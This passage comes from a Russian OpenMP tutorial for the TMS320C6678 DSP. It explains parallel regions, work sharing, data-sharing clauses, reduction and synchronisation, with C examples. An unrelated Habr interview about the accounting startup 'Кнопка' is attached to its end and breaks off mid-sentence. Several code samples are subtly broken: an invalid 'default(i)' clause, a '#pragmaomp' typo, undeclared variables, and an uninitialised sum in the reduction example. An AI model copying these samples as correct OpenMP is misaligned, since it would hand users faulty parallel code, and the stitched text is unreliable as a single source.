происходит организация параллельного исполнения следующего за директивой OpenMP кода в наборе потоков (параллельный регион). На рисунке для упрощения показано только четыре параллельных потока. При завершении параллельного региона потоки объединяются, ожидая окончания работы друг друга, и далее вновь следует последовательный регион. Итак, нам удалось задействовать 8 ядер для реализации нашей программы, однако, смысла в таком распараллеливании нет, поскольку все ядра делают одну и ту же одинаковую работу. 8 ядер 8 раз сформировали один и тот же выходной массив данных. Время обработки при этом не уменьшилось. Очевидно, требуется как-то разделить работу между разными ядрами. Проведем аналогию. Пусть есть бригада из 8 человек. Один из них является главным; остальные – его помощниками. К ним поступают запросы на проведение различных работ. Главный работник принимает и выполняет заказы, подключая, по возможности, своих помощников. Первая работа, за которую взялись наши работники, состояла в переводе текста с английского языка на русский. Бригадир взялся за выполнение работы, взял исходный текст, приготовил словари, скопировал текст для каждого из своих помощников и раздал всем один и тот же текст, не разделив работу между ними. Перевод будет выполнен. Задача будет решена корректно. Однако выигрыша от наличия 7 помощников не будет. Даже наоборот. Если им придется делить один и тот же словарь, или компьютер, или листок с исходным текстом, время выполнения задания может затянуться. Также работает и OpenMP в нашем первом примере. Требуется разделение работ. Каждому работнику следует указать, какой фрагмент общего текста должен переводить именно он. Очевидным способом разделения работы между ядрами в контексте задачи суммирования массивов является распределение итераций цикла по ядрам в зависимости от номера ядра. Достаточно внутри параллельного региона узнать, на каком ядре выполняется код, и задать диапазон итераций цикла в зависимости от этого номера: #include <ti/omp/omp.h> void vecsum (float * x, float * y, float * z, int N) { omp_set_num_threads(8); #pragma omp parallel { core_num = omp_get_thread_num(); a=(N/8)*core_num; b=a+N/8; for (int i=a; i<b; i++) z[i] = x[i] + y[i]; } } Чтение номера ядра выполняется функцией OpenMP omp_get_thread_num();. Эта функция, находясь внутри параллельного региона, выполняется одинаково на всех ядрах, но на разных ядрах дает разный результат. За счет этого становится возможным дальнейшее разделение работы внутри параллельного региона. Для простоты мы считаем, что число итераций цикла N кратно числу ядер. Чтение номера ядра может быть основано аппаратно на наличии в каждом ядре специального регистра номера ядра – регистра DNUM на процессорах TMS320C6678. Обратиться к нему можно различными средствами, включая ассемблерные команды или функции библиотеки поддержки кристалла CSL. Однако можно воспользоваться и функционалом, предоставляемым надстройкой OpenMP. Здесь, однако, мы вновь должны обратить внимание на то, что номер ядра и номер параллельного региона OpenMP – это разные понятия. Например, 3-й параллельный поток вполне может исполняться на, скажем, 5-ом ядре. Более того, в следующем параллельном регионе или при повторном прохождении того же параллельного региона 3-ий поток может исполняться уже на, например, 4-ом ядре. И так далее. Мы получили программу, выполняющуюся на 8 ядрах. Каждое ядро обрабатывает свою часть входных массивов и формирует соответствующую область выходного массива. Каждый из наших работников переводит свою 1/8 часть текста и в идеале мы получаем 8-кратное ускорение решения задачи. Директивы for и parallel for Мы рассмотрели простейшую директиву parallel, позволяющую выделить в коде фрагменты, которые должны выполняться на нескольких ядрах параллельно. Эта директива, однако, подразумевает, что все ядра выполняют один и тот же код и разделения работ не предусматривается. Нам пришлось делать это самостоятельно, что выглядит несколько запутанно. Автоматическое указание, как работа внутри параллельного региона делится между ядрами, возможно с использованием дополнительной директивы for. Данная директива используется внутри параллельного региона непосредственно перед циклами типа for и говорит о том, что итерации цикла должны быть распределены между ядрами. Директивы parallel и for могут использоваться раздельно: #pragma omp parallel #pragma omp for А могут использоваться совместно в одной директиве для сокращения записи: #pragma omp parallel for Применение в нашем примере сложения массивов директивы parallel for приводит к следующему программному коду: #include <ti/omp/omp.h> void vecsum (float * x, float * y, float * z, int N) { int i; omp_set_num_threads(8); #pragma omp parallel for for (i=0; i<N; i++) z[i] = x[i] + y[i]; } Если сравнить данную программу с исходной одноядерной реализацией, то мы увидим, что отличия минимальны. Мы всего лишь подключили заголовочный файл omp.h, установили число параллельных потоков и добавили одну строчку – директиву parallel for. Замечание 1. Еще одним отличием, которое мы намеренно скрываем в наших рассуждениях, является перенос объявления переменной i из цикла в раздел описания переменных функции, а точнее из параллельного в последовательный регион кода. Сейчас еще рано пояснять данное действие, однако, оно является принципиальным и будет пояснено позже в разделе, касающемся опций private и shared. Замечание 2. Мы говорим, что итерации цикла делятся между ядрами, однако, мы не говорим, как конкретно они делятся. Какие конкретно итерации цикла, на каком из ядер будут выполняться? OpenMP имеет возможности задавать правила распределения итераций по параллельным потокам, и мы рассмотрим эти возможности позже. Однако точно привязать конкретное ядро к конкретным итерациям можно только вручную рассмотренным ранее способом. Правда обычно такая привязка не является необходимой. В случае, если число итераций цикла не кратно числу ядер, распределение итераций по ядрам будет производиться так, чтобы нагрузка распределялась максимально равномерно. Директивы sections и parallel sections Разделение работы между ядрами может производиться либо на основе разделения данных, либо на основе разделения задач. Вспомним про нашу аналогию. Если все работники выполняют одно и то же – занимаются переводом текста, – но каждый переводит разный фрагмент текста, то это относится к первому типу разделения работы – разделению данных. Если же работники выполняют различные действия, например, один занимается переводом всего текста, другой ищет для него слова в словаре, третий набирает текст перевода и так далее, то это относится ко второму типу разделения работы – разделению задач. Рассмотренные нами директивы parallel и for позволяли разделять работу путем разделения данных. Разделение задач между ядрами позволяет выполнять директива sections, которая, как и в случае директивы for, может использоваться независимо от директивы parallel или совместно с ней для сокращения записи: #pragma omp parallel #pragma omp sections и #pragma omp parallel sections В качестве примера мы приведем программу, в которой используются 3 ядра процессора, и каждое из ядер выполняет свой алгоритм обработки входного сигнала x: #include <ti/omp/omp.h> void sect_example (float* x) { omp_set_num_threads(3); #pragma omp parallel sections { #pragma omp section Algorithm1(x); #pragma omp section Algorithm2(x); #pragma omp section Algorithm3(x); } } Опции shared, private и default Выберем для рассмотрения новый пример. Перейдем к вычислению скалярного произведения двух векторов. Простая программа на языке Си, реализующая данную процедуру, может выглядеть следующим образом: float x[N]; float y[N]; void dotp (void) { int i; float sum; sum = 0; for (i=0; i<N; i++) sum = sum + x[i]*y[i]; } Результат выполнения (для тестовых массивов из 16 элементов) оказался равным: [TMS320C66x_0] sum = 331.0 Перейдем к параллельной реализации данной программы, используя директиву parallel for: float x[N]; float y[N]; void dotp (void) { int i; float sum; sum = 0; #pragmaomp parallel for { for (i=0; i<N; i++) sum = sum + x[i]*y[i]; } } Результат выполнения: [TMS320C66x_0] sum= 6.0 Программа дает неверный результат! Почему? Чтобы ответить на этот вопрос, необходимо разобраться, как связаны значения переменных в последовательном и параллельном регионах. Опишем логику работы OpenMP более подробно. Функция dotp() начинает выполняться в виде последовательного региона на 0-м ядре процессора. При этом в памяти процессора организованы массивы x и y, а также переменные I и sum. При достижении директивы parallel в действие вступают служебные функции OpenMP, которые организуют последующую параллельную работу ядер. Происходит инициализация ядер, их синхронизация, подготовка данных и общий старт. Что происходит при этом с переменными и массивами? Все объекты в OpenMP (переменные и массивы) можно разделить на общие (shared) и частные (private). Общие объекты размещаются в общей памяти и используются равноправно всеми ядрами внутри параллельного региона. Общие объекты совпадают с одноименными объектами последовательного региона. Они переходят из последовательного в параллельный регион и обратно без изменений, сохраняя свое значение. Доступ к таким объектам внутри параллельного региона осуществляется равноправно для всех ядер, и возможны конфликты общего доступа. В нашем примере массивы x и y, а также переменная sum, по умолчанию оказались общими. Получается, что все ядра используют одну и ту же переменную sum в качестве аккумулятора. В результате иногда складывается ситуация, при которой несколько ядер одновременно считывают одинаковое текущее значение аккумулятора, добавляют к нему свой частичный вклад и записывают новое значение в аккумулятор. При этом то ядро, которое делает запись последним, стирает результаты работы остальных ядер. Именно по этой причине наш пример дал неправильный результат. Принцип работы с общими и частными переменными проиллюстрирован на рисунке 2. Рисунок 2. Иллюстрация работы OpenMP с общими и частными переменными Частные объекты представляют собой копии исходных объектов, создаваемые отдельно для каждого ядра. Эти копии создаются динамически при инициализации параллельного региона. В нашем примере переменная i как счетчик итераций цикла по умолчанию считается частной. При достижении директивы parallel в памяти процессора создается 8 копий (по числу параллельных потоков) этой переменной. Частные переменные размещаются в частной памяти каждого ядра (могут размещаться в локальной памяти, а могут и в общей, в зависимости от того, как мы их объявили и сконфигурировали память). Частные копии по умолчанию никак не связаны с исходными объектами последовательного региона. По умолчанию значения исходных объектов не передаются в параллельный регион. Какими являются частные копии объектов в начале выполнения параллельного региона, неизвестно. По окончании параллельного региона значения частных копий просто теряются, если не принять специальных мер к передаче этих значений в последовательный регион, о которых мы расскажем далее. Чтобы явно указать компилятору, какие объекты следует считать частными, а какие общими, совместно с директивами OpenMP применяются опции shared и private. Список объектов, относящихся к общим или частным, указывается через запятую в скобках после соответствующей опции. В нашем случае переменные i и sum должны быть частными, а массивы x и y – общими. Поэтому мы будем использовать конструкцию вида: #pragma omp parallel for private(i, sum) shared(x, y) при открытии параллельного региона. Теперь у каждого ядра будет свой аккумулятор, и накопления будут идти независимо друг от друга. Дополнительно аккумуляторы надо теперь обнулить, так как исходное их значение неизвестно. Кроме того, возникает вопрос, как объединить частные результаты, полученные на каждом из ядер. Одним из вариантов является использование специального общего массива из 8 ячеек, в который каждое ядро поместит свой результат внутри параллельного региона, а после выхода из параллельного региона главное ядро суммирует элементы этого массива и сформирует окончательный результат. Мы получаем следующий код программы: float x[N]; float y[N]; float z[8]; void dotp (void) { int i, core_num; float sum; sum = 0; #pragma omp parallel private(i, sum, core_num) shared(x, y, z) { core_num = omp_get_thread_num(); sum = 0; #pragma omp for for (i=0; i<N; i++) sum = sum + x[i]*y[i]; z[core_num] = sum; } for (i=0; i<8; i++) sum = sum + z[i]; } Результат выполнения: [TMS320C66x_0] sum= 331.0 Программа работает корректно, хотя является немного громоздкой. О том, как упростить ее мы поговорим далее. Интересно, что при указании в качестве частных объектов имен массивов OpenMP при инициализации параллельного региона поступает также как и с переменными – динамически создает частные копии этих массивов. Убедиться в этом можно проведя простой эксперимент: объявив массив через опцию private, вывести значения указателей на этот массив в последовательном и в параллельном регионах. Мы увидим 9 разных адресов (при числе ядер – 8). Далее можно убедиться, что значения элементов массивов никак друг с другом не связаны. Кроме того, при последующем входе в тот же параллельный регион адреса частных копий массивов могут быть иными, и значения элементов по умолчанию не сохраняются. Все это подводит нас к тому, что директивы OpenMP, открывающие и закрывающие параллельный регион, могут быть достаточно громоздкими и требовать определенного времени выполнения. Если для объекта явное указание его типа (общий/частный) в директиве открытия параллельного региона отсутствует, то OpenMP «действует» по определенным правилам, описанным в [5]. Неописанные объекты OpenMP относит к типу по умолчанию. Какой это будет тип, private или shared, определяется переменной среды, – одним из параметров работы OpenMP. Данный параметр может задаваться и меняться в процессе работы. Исключение составляют переменные, используемые в качестве счетчиков итераций циклов. Они по умолчанию считаются частными. Правда это правило действует только для директив типа for и parallel for, поэтому лучше обращать на эти переменные особое внимание. В связи с этим полезным оказывается применение опции default. Данная опция позволяет указать те объекты, для которых будет действовать правило – тип по умолчанию. При этом, если в качестве параметра этой опции выбрать none, то это будет означать, что никакая переменная не может принимать тип по умолчанию, то есть требуется обязательное явное указание типа всех объектов, встречаемых в параллельном регионе: #pragma omp parallel private(sum, core_num) shared(x, y, z) default(i) или: #pragma omp parallel private(i, sum, core_num) shared(x, y, z) default(none) Опция reduction В рассмотренном примере реализации скалярного произведения на 8 ядрах мы отметили один недостаток: объединение частных результатов работы ядер требует существенных доработок кода, что делает его громоздким и неудобным. В то же время концепция openMP подразумевает максимальную прозрачность перехода от одноядерной к многоядерной реализации и обратно. Упростить программу, рассмотренную в предыдущем разделе, позволяет применение опции reduction. Опция reduction позволяет указать компилятору, что результаты работы ядер должны быть объединены, и задает правила такого объединения. Опция reduction предусмотрена для ряда наиболее распространенных ситуаций. Синтаксис опции следующий: reduction (идентификатор : список объектов) идентификатор – определяет, какую операцию объединения частных результатов требуется выполнить. Он же задает начальные значения переменных, которые представляют частные результаты. список объектов – имена переменных, которые используются для формирования частных результатов работы ядер. Все возможные варианты использования опции reduction, предусмотренные стандартом OpenMP на данный момент, приведены в Таблице 1. Возможные идентификаторы операции: +, *, -, &, |, ^, &&, ||, max, min Соответствующие начальные значения переменных: 0, 1, 0, 0, 0, 0, 1, 0, наименьшее значение для данного типа, наибольшее значение для данного типа. В нашей программе скалярного произведения следует использовать опцию reduction c идентификатором «+» для переменной sum: float x[N]; float y[N]; void dotp (void) { int i; float sum; #pragma omp parallel for private(i) shared(x, y) reduction(+:sum) for (i=0; i<N; i++) sum += x[i]*y[i]; } Результат выполнения: [TMS320C66x_0] sum= 331.0 Программа дает верный результат и при этом очень компактно выглядит и включает лишь минимальные отличия от исходного «последовательного» кода! Синхронизация в OpenMP Одной из основных проблем, имеющих место в многоядерных процессорах, является проблема синхронизации работы ядер. Когда несколько ядер одновременно решают одну общую задачу, как правило, возникает необходимость координации их действий. Если одно ядро начнет выполнять некоторые функции, раньше другого, то результат общей работы может оказаться некорректным. Мы уже частично столкнулись с этой проблемой, когда заставляли все ядра работать с одной общей переменной. Несогласованность действий привела к неправильному результату. В общем случае синхронизация ядер состоит в том, что в определенных точках программного кода все ядра или требуемая их часть останавливают свою работу, уведомляют другие ядра о достижении данной точки (точки синхронизации) и не продолжают свою работу, пока все остальные ядра не достигнут этой точки синхронизации. Выполнив один параллельный фрагмент, ядра дожидаются друг друга и переходят к следующему фрагменту, скоординировав свою работу. Важно отметить, что синхронизация ядер (или параллельных потоков), подразумевает не только синхронизацию по исполняемому программному коду, но и по данным. Происходит синхронизация кэш-памяти: возврат данных, модифицированных в кэш, в основную память. Это очень важный момент, так как ядра в OpenMP-концепции в основном работают с общей памятью, фрагменты которой кэшируются в локальной памяти каждого ядра. В результате значение общей переменной, модифицированное одним ядром, может неправильно считываться другим ядром из-за рассинхронизации кэш-памяти первого ядра и общей (основной) памяти. В OpenMP можно выделить два типа синхронизации: неявную и явную. Неявная синхронизация происходит автоматически в конце параллельных регионов, а также по окончании ряда директив, которые могут применяться внутри параллельных регионов, включая omp for, omp sections и так далее. При этом автоматически происходит и синхронизация кэш. Если алгоритм решения задачи требует синхронизировать ядра в тех точках программы внутри параллельного региона, в которых автоматическая синхронизация не предусматривается, разработчик может использовать явную синхронизацию – указать компилятору OpenMP в явном виде с помощью специальных директив, что в этой точке программы требуется выполнить синхронизацию. Рассмотрим основные из этих директив. Директива barrier Директива barrier записывается в виде: #pragma omp barrier и в явном виде устанавливает точку синхронизации параллельных потоков OpenMP внутри параллельного региона. Приведем следующий пример использования директивы: #define CORE_NUM 8 float z[CORE_NUM]; void arr_proc(void) { omp_set_num_threads(CORE_NUM); int i, core_num; float sum; #pragma omp parallel private(core_num, i, sum) { core_num=omp_get_thread_num(); z[core_num]=core_num; #pragma omp barrier sum = 0; for(i=0;i<CORE_NUM;i++) sum=sum+z[i]; #pragma omp barrier z[core_num]=sum; } for(i=0;i<CORE_NUM;i++) printf("z[%d] = %f\n", i, z[i]); } В этой программе мы смоделировали следующую ситуацию. Пусть работа с сигналом включает этапы формирования данных в массиве z, обработки данных в массиве z, записи результата обработки в массив z. В случае нашей программы на первом этапе каждое ядро пишет свой номер в соответствующую ячейку массива z, расположенного в общей памяти. Далее все ядра выполняют одинаковую обработку входного массива: находят сумму его элементов. Далее все ядра записывают получившийся результат в ячейку массива z, соответствующую номеру ядра. В результате все ячейки массива должны оказаться одинаковыми. Однако без директив barrier этого не происходит. Все ячейки массива z оказываются разными и в общем случае произвольными. При переходе от первого этапа ко второму, ядра, не дожидаясь друг друга, начинают обрабатывать еще не готовые данные. При переходе от второго этапа к третьему, ядра начинают записывать свои результаты в массив z, хотя другие ядра еще могут читать значения этого массива, используя их для обработки. Только наличие обеих директив barrier гарантирует корректное выполнение программы и запись одинаковых результатов вычислений во все элементы массива z. Синхронизация по исполняемому коду подразумевает и синхронизацию по данным – синхронизацию кэш. Директива critical Директива critical записывается в виде: #pragma omp critical [имя региона] И выделяет фрагмент кода внутри параллельного региона, который может исполняться одновременно только одним ядром. Пусть работники нашей бригады выполняют очередное задание, одним из этапов которого является доклад бригадиру о состоянии дел. Пусть все этапы их работы могут проходить полностью независимо от других работников. В том числе и доклад бригадиру работники могут делать одновременно, однако, такой доклад будет, очевидно, мало полезен. Необходимо уточнить, что данное действие в один момент времени может выполнять только один из работников. Если докладчики оказываются готовыми к отчету в разные моменты времени, то вопросов об их синхронизации не возникает. Если же обстоятельства складываются так, что двое или более работников готовы дать отчет одновременно или один из работников приходит с отчетом в момент доклада другого работника, путаница должна быть исключена: тот, кто пришел позже, должен подождать; более одного работника не могут исполнять данный фрагмент задания одновременно. В случае обработки сигнала ситуация аналогична. Если алгоритм обработки подразумевает, что некоторый фрагмент кода не может выполняться одновременно несколькими ядрами, то такой фрагмент можно выделить директивой critical. Пример применения данной директивы может выглядеть следующим образом: #define CORE_NUM 8 #define N 1000 #define M 80 void crit_ex(void) { int i, j; int A[N]; int Z[N] = {0}; omp_set_num_threads(CORE_NUM); #pragma omp parallel for private (A) for (i = 0; i < M; i++) { poc_A(A, N); #pragma omp critical for (j=0; j<N; j++) Z[j] = Z[j] + A[j]; } } В данной программе в цикле М раз повторяется обработка (формирование) массива А и накопление результатов обработки в массиве Z. При переходе к многоядерной реализации итерации цикла обработки распределяются между 8 ядрами. При этом массив А обрабатывается как частный, то есть независимо на каждом ядре. Обработка может идти на всех ядрах параллельно, поскольку зависимостей между этими процедурами нет. При накоплении результаты работы всех ядер объединяются в общем массиве Z. Если не принять специальных мер по синхронизации ядер, то параллельные потоки будут обращаться к одному общему ресурсу и вносить ошибку в работу друг друга. Чтобы предотвратить ошибки, можно запретить параллельным потокам в этом месте выполняться параллельно. Первое ядро, завладевшее ресурсом (в данном случае фрагментом кода), будет владеть им полностью, пока не выполнит все действия. Остальные ядра будут ожидать освобождения ресурса в начале критической секции кода. Фактически, мы переходим к последовательной обработке внутри параллельного региона. Заменим в нашем коде критическую секцию на следующую конструкцию. #pragma omp critical (Z1add) for (j=0; j<N; j++) Z1[j] = Z1[j] + A[j]; #pragma omp critical (Z2mult) for (j=0; j<N; j++) Z2[j] = Z2[j] * A[j]; Теперь мы имеем две критических секции. В одной идет объединение результатов работы ядер путем суммирования; в другой – путем умножения. Обе секции могут выполняться одновременно только на одном ядре, однако, разные секции могут выполняться одновременно на разных ядрах. Если в конструкцию директивы critical внести имя региона, то ядру будет отказано в доступе к коду, только если другое ядро работает именно в этом регионе. Если имена регионам не присвоены, то ядро не сможет войти ни в один из критических регионов, если другое ядро работает с любым из них, даже если они никак не связаны между собой. Директива atomic Директива atomic записывается в виде: #pragma omp atomic [read | write | update | capture] В предыдущем примере разным ядрам запрещалось выполнять код из одного региона одновременно. Однако это может показаться не рациональным при более близком рассмотрении. Ведь конфликты доступа к общему ресурсу состоят в том, что разные ядра могут обратиться одновременно к одинаковым ячейкам памяти. Если же в рамках одного кода обращение идет к разным ячейкам памяти, искажения результата не последует. Привязать синхронизацию ядер к элементам памяти позволяет директива atomic. Она указывает, что в следующей за ней строке операция работы с памятью является атомарной – неразрывной: если какое-то ядро начало операцию работы с некоторой ячейкой памяти, доступ к этой ячейке памяти будет закрыт для всех других ядер, пока первое ядро не закончит работу с ней. При этом директива atomic сопровождается опциями, указывающими, какой тип операции производится с памятью: чтение/запись/модификация/захват. Выше рассмотренный пример в случае применения директивы atomic будет выглядеть следующим образом. #define CORE_NUM 8 #define N 1000 #define M 80 void crit_ex(void) { int i, j; int A[N]; int Z[N] = {0}; omp_set_num_threads(CORE_NUM); #pragma omp parallel for private (A) for (i = 0; i < M; i++) { poc_A(A, N); for (j=0; j<N; j++) { #pragma omp atomic update Z[j] = Z[j] + A[j]; } } Теоретически, применение директивы atomic должно существенно сократить время обработки, поскольку от полностью последовательного выполнения цикла мы переходим к последовательному выполнению только отдельных операций обращения к памяти, когда номера запрашиваемых элементов массива совпадают для разных ядер. Однако на практике эффективность данной идеи будет зависеть от способа ее реализации. Если, например, синхронизация ядер с помощью директивы atomic сводится к чтению флага, расположенного в общей памяти, на каждой итерации цикла, то время выполнения цикла может существенно возрастать. Другими словами, в случае директивы critical время выполнения цикла составит MxT1 тактов процессора, где М – число ядер, а T1 – время выполнения цикла одним ядром; а в случае директивы atomic время выполнения цикла составит Т2 тактов процессора. При этом цикл с директивой atomic включает дополнительный код синхронизации, и время Т2 может оказываться более, чем в М раз больше времени Т1. Заключительные замечания В данной статье мы рассмотрели основные конструкции OpenMP – расширения языков программирования высокого уровня (Си/Си++), используемого для автоматического, выполняемого компилятором, распараллеливания программного обеспечения для реализации на многоядерных процессорах. Особенностью данной статьи является ориентация на системы цифровой обработки сигналов и иллюстрация выполнения примеров программ на 8-ядерном ЦСП TMS320C6678 фирмы Texas Instruments. Основное достоинство OpenMP – это простота перехода от одноядерной к многоядерной реализации. Все задачи по взаимодействию ядер, включая обмен данными и синхронизацию, выполняют стандартные функции OpenMP, подключаемые на этапе компиляции. Однако удобство разработки обычно чревато меньшей эффективностью получаемого решения. Вопросы издержек на инструментарий OpenMP не рассматриваются в рамках данной статьи. Планируется посвятить этому отдельную работу. Тем не менее, можно отметить, что затраты на директивы OpenMP оказываются значительными, измеряемыми единицами и десятками тысяч тактов. Поэтому распараллеливание имеет смысл только на относительно высоком уровне, когда внутри параллельного региона вычислительная нагрузка оказывается значительной и основное время ядра работают над поставленными задачами, не взаимодействуя друг с другом. Также следует отметить, что стандарт OpenMP закладывает общую идеологию. Эффективность же OpenMP зависит от реализации функций OpenMP для конкретной платформы процессоров. Так версии OpenMP 1 и 2, разработанные фирмой Texas Instruments для процессоров TMS320C6678 существенно отличаются. Вторая версия задействует многочисленные аппаратные механизмы ускорения взаимодействия ядер и оказывается существенно эффективнее первой версии. В последующих работах планируется раскрыть основные механизмы реализации функций OpenMP; провести анализ издержек, сопутствующих этим функциям; сформировать тестовые оценки времени реализации директив OpenMP; сформировать советы по повышению эффективности использования данного механизма. Литература 1. G. Blake, R.G. Dreslinski, T. Mudge, «A survey of multicore processors,» Signal Processing Magazine, vol. 26, no. 6, pp. 26-37, Nov. 2009. 2. L.J. Karam, I. AlKamal, A. Gatherer, G.A. Frantz, «Trends in multicore DSP platforms,» Signal Processing Magazine, vol. 26, no. 6, pp. 38-49, 2009. 3. A. Jain, R. Shankar. Software Decomposition for Multicore Architectures, Dept. of Computer Science and Engineering, Florida Atlantic University, Boca Raton, FL, 33431. 4. Web-сайт OpenMP Architecture Review Board (ARB): openmp.org . 5. OpenMP Application Programming Interface. Version 4.5 November 2015. OpenMP Architecture Review Board. P. 368. 6. OpenMP 4.5 API C/C++ Syntax Reference Guide. OpenMP Architecture Review Board. 2015. 7. J. Diaz, C. Muñoz-Caro, A. Niño. A Survey of Parallel Programming Models and Tools in the Multi and Many-Core Era. IEEE Transactions on Parallel and Distributed Systems. – 2012. – Vol. 23, Is. 8, pp. 1369 – 1386. 8. A. Cilardo, L. Gallo, A. Mazzeo, N. Mazzocca. Efficient and scalable OpenMP-based system-level design. Design, Automation & Test in Europe Conference & Exhibition (DATE). – 2013, pp. 988 – 991. 9. M. Chavarrías, F. Pescador, M. Garrido, A. Sanchez, C. Sanz. Design of multicore HEVC decoders using actor-based dataflow models and OpenMP. IEEE Transactions on Consumer Electronics. – 2016. – Vol. 62. – Is. 3, pp. 325 – 333. 10. M. Sever, E. Çavus. Parallelizing LDPC Decoding Using OpenMP on Multicore Digital Signal Processors. 45th International Conference on Parallel Processing Workshops (ICPPW). – 2016, pp. 46 – 51. 11. A. Kharin, S. Vityazev, V. Vityazev, N. Dahnoun. Parallel FFT implementation on TMS320c66x multicore DSP. 6th European Embedded Design in Education and Research Conference (EDERC). – 2014, pp. 46 – 49. 12. D. Wang, M. Ali, ―Synthetic Aperture Radar on Low Power Multi-Core Digital Signal Processor,‖ High Performance Extreme Computing (HPEC), IEEE Conference on, pp. 1 – 6, 2012. 13. В. П. Гергель, А. А. Лабутина. Учебно-образовательный комплекс по методам параллельного программирования. Н.Новгород, 2007, 138 с. 14. А. В. Сысоев. Высокопроизводительные вычисления в учебном процессе и научных исследованиях. Н. Новгород, 2006, 90 с. 15. А.С. Антонов. Параллельное программирование с использованием технологии OpenMP. Издательство Московского университета. 2009 г, 78 с. 16. М.П. Левин. Параллельное программирование с использованием OpenMP. М.: 2012, 121 с. 17. TMS320C6678 Multicore Fixed and Floating-Point Digital Signal Processor, Datasheet, SPRS691E, Texas Instruments, p. 248, 2014.
https://habrahabr.ru/post/318762/
habrahabr
Советы основателя. Евгений Кобзев, технический директор и сооснователь компании «Кнопка»
['системы учета', 'бухгалтерский учет', 'сервисы', '1с', 'инвестиции в стартапы', 'советы начинающим']
Случаи, когда выходцы из крупной компании, получив достаточно опыта, запускают собственный стартап, нередки. После этого новоиспеченный игрок рынка пытается конкурировать с теми, кому он обязан...
Случаи, когда выходцы из крупной компании, получив достаточно опыта, запускают собственный стартап, нередки. После этого новоиспеченный игрок рынка пытается конкурировать с теми, кому он обязан многим. Однако основатели «Кнопки» пошли по другому пути: они создали сервис, который играет на несколько другом поле. Команде проекта удалось привлечь инвестиции, не написав ни строчки кода. Можно, сказать, что им повезло с инвесторами, которые поверили в жизнеспособность и потеницальный успех проекта. Мы пообщались с сооснователем «Кнопки» и выяснили, какой путь прошел проект, на каком этапе развития он находится сейчас. Евгений Кобзев, технический директор и сооснователь компании, рассказал о своем опыте и дал несколько советов по ведению бизнеса в ИТ. Как все начиналось? Почему решили развивать бизнес именно в этой сфере? До запуска «Кнопки» я несколько лет со своими друзьями занимался бухгалтерскими системами учета и отчетности для бухгалтеров и предпринимателей. И работали мы в екатеринбургской компании СКБ-контур. Там были определенные успехи, но нам захотелось сделать что-то свое. Ну а так как у нас был именно такой опыт, нашли оптимальный вариант и инвесторов. Сколько времени прошло с момента запуска? Каковы ваши успехи к текущему моменту? Как выглядит ваша команда? Насколько она большая? Мы начали создавать проект в феврале 2013 года. Публично заявили о себе в июле 2013-го. Получается, довольно быстро запустили MVP и сразу запустили продажи. У нас не Freemium: все клиенты нам платят. В компании работают 160 человек. В июле 2016 года мы впервые закончили месяц с прибылью. Пока каждый месяц после этого был безубыточным. Объем инвестиций я раскрыть не могу. По итогам 2016 года мы заработаем порядка 200 миллионов выручки. Декабрь – очень важный месяц для такого продукта, как у нас. Обычно в это время рекордные продажи получаются: мы же предоставляем бухгалтерский сервис. У нас бэкофис для малого и среднего бизнеса. Мы предоставляем клиенту команду, в которой есть бухгалтер, юрист, бизнес-ассистент и собственно софт. Пока мы не умеем обслуживать тысячи клиентов одним бухгалтером. Мы ищем способы автоматизации с помощью машинного обучения. Но пока большинство сотрудников компании – бухгалтеры – их порядка 80 человек. Юристов и бизнес-ассистентов – несколько десятков. Команда разработки самая немногочисленная – всего 15 человек: это системные администраторы, программисты, тестировщики и UX-дизайнеры. Админы поддерживают нашу облачную «1С», issue-трекеры и прочую инфраструктуру. Их пять человек. Как отнеслось ваше бывшее начальство из СКБ к тому, что вы стали их конкурентами? Нельзя сказать, что мы стали их конкурентами. СКБ-контур делает софт, а мы оказываем услуги. Их мы можем оказывать и на софте СКБ в том числе. Мы в своей работе используем разные системы – не только «1С». Какие у вас отношения с «1С»? Это ведь монополист на российском рынке? У нас хорошие отношения с «1С». Сначала мы просто пользовались их софтом, но близко не общались. В какой-то момент мы познакомились поближе. У нас тысячи клиентов, которые используют «1С». Мы даже писали на «Хабре» статью про то, как быстро обновлять множество 1С-баз одновременно. Ребята из «1С» это прочитали и сказали, что можно проще решить задачу. Мы договорились встретиться и проконсультироваться. Оказалось, что у них есть специально облачное решение 1С:Fresh, но об этом пока мало кто знает. С тех пор мы с ними тесно взаимодействуем. В их софте, конечно, есть недоработки, но в целом он намного облегчает нам жизнь. И в плане соответствия законодательству, которое постоянно меняется, их софт всегда актуален. Разработчики «1С» постоянно переписывают свои продукты, чтобы они соответствовали нормам. Поэтому нам об этом заботиться не нужно. Наша задача – облегчить сам процесс построения бухгалтерской отчетности. Если мы выйдем за пределы российского рынка, то найдем там партнеров, которые так же предоставят нам софт, аналогичный «1С». Какие главные уроки можно извлечь из истории развития компании к текущему моменту? Мы изначально были наемными сотрудниками. Когда мы стали создавать свой проект, кроме идеи и опыта у нас ничего не было. Инвесторам обычно нужно больше – работающий прототип. Но мы просто пришли к людям с идей и смогли вызвать доверие. После этого нужно было мотивировать команду на работу и продемонстрировать какой-то результат. Однако я думаю, что раздавать сотрудникам какие-то опционы или акции на старте не стоит. Ведь они могут неожиданно покинуть проект, а доля в компании у них останется. В то время как остальные будут продолжать работать и создавать проекту добавленную стоимость. Поэтому нам такие пассажиры не нужны. Хорошо, что нам не пришлось ни с кем делиться на старте. Я считаю, что инвесторы и их юристы обычно гораздо мудрее стартаперов в этом плане. И компания на первых порах не была растаскана на части во многом благодаря им. С другой стороны, умному инвестору ни к чему размывать доли команды, которая придумала проект и реально производит продукт, если он сам не готов взять на свои плечи его разработку и развитие. Поэтому рекомендую не сильно переживать по поводу того, что инвесторы потенциально могут поступить с вами некорректно или даже «кинуть». Риск всегда есть, но нужно стараться выстраивать с ними по-настоящему доверительные отношения. Ну а потом, когда появились первые результаты, наш инвестор сам подсказал, как оценить и поощрить вклад каждого в работу над проектам. Какие самые трудные задачи вам приходилось решать, работая над проектом? Когда я только начинал работать в большой компании, то думал, что начальник может хоть кого уволить и хоть кого нанять, и именно это решает все проблемы. Но часто увольнение не решает никаких проблем, нужно глубоко погрузиться в процесс самому, стать в нем экспертом и найти слабые места. И я понял, что люди работают с тобой до тех пор, пока ваши цели совпадают. Иначе остановить их сложно. Какой совет вы могли бы дать тем, у кого нет такого опыта, кто еще находится только в начале пути? Первое, что могу сказать, – будет трудно. Может показаться, что ты как начальник небольшой компании контролируешь ситуацию, но это не так. Если, например, нужно срочно доделывать новую фичу проекта, а в это время в офисе отключают свет, тебе придется как-то решать эту проблему. Если арендодатель отказывается продлять договор аренды или повышает цены – тоже разбираться придется тебе. И это не считая каждодневных трудностей, которые непосредственно касаются работы над проектом. Поэтому нужно быть готовым, что ты отвечаешь за все. И ты никуда не 